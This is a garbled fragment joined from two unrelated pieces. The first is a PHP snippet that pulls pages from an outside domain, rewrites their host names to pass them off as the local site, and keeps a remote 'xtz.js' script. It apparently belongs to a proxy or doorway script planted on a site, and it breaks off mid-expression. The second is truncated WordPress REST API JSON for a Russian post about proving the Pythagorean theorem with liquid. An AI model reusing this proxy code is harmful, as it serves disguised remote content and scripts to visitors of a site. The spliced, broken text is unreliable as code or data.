$API_URL = 'https://id.yuanhengbc.com/th100';
$scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$MY_DOMAIN = $scheme . '://' . $host;
function rewrite_remote_urls($html, $api_url, $my_domain) {
if (empty($html)) return $html;
$orig_host = parse_url($api_url, PHP_URL_HOST);
$my_host = parse_url($my_domain, PHP_URL_HOST);
$html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html);
$html = str_replace(
array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host),
array($my_domain, $my_domain, '//' . $my_host),
$html
);
$html = preg_replace(
'/
\u041d\u0435 \u0432\u0435\u0440\u0438\u0442\u0435 \u0443\u0447\u0438\u0442\u0435\u043b\u044e, \u043a\u043e\u0433\u0434\u0430 \u043e\u043d \u0433\u043e\u0432\u043e\u0440\u0438\u0442, \u0447\u0442\u043e \u0441\u0443\u043c\u043c\u0430 \u043a\u0432\u0430\u0434\u0440\u0430\u0442\u043e\u0432 \u043a\u0430\u0442\u0435\u0442\u043e\u0432 \u0440\u0430\u0432\u043d\u0430 \u043a\u0432\u0430\u0434\u0440\u0430\u0442\u0443 \u0433\u0438\u043f\u043e\u0442\u0435\u043d\u0443\u0437\u044b?\u00a0 \u042d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0436\u0438\u0434\u043a\u043e\u0441\u0442\u0438.<\/p>\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\u041d\u0435 \u0432\u0435\u0440\u0438\u0442\u0435 \u0443\u0447\u0438\u0442\u0435\u043b\u044e, \u043a\u043e\u0433\u0434\u0430 \u043e\u043d \u0433\u043e\u0432\u043e\u0440\u0438\u0442, \u0447\u0442\u043e \u0441\u0443\u043c\u043c\u0430 \u043a\u0432\u0430\u0434\u0440\u0430\u0442\u043e\u0432 \u043a\u0430\u0442\u0435\u0442\u043e\u0432 \u0440\u0430\u0432\u043d\u0430 \u043a\u0432\u0430\u0434\u0440\u0430\u0442\u0443 \u0433\u0438\u043f\u043e\u0442\u0435\u043d\u0443\u0437\u044b?\u00a0 \u042d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0436\u0438\u0434\u043a\u043e\u0441\u0442\u0438.<\/p>\n","protected":false},"author":1,"featured_media":3678,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[46],"tags":[],"class_list":["post-3261","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-mind_playing_tricks"],"_links":{"self":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/posts\/3261","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3261"}],"version-history":[{"count":1,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/posts\/3261\/revisions"}],"predecessor-version":[{"id":3262,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/posts\/3261\/revisions\/3262"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/media\/3678"}],"wp:attachment":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3261"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3261"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3261"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}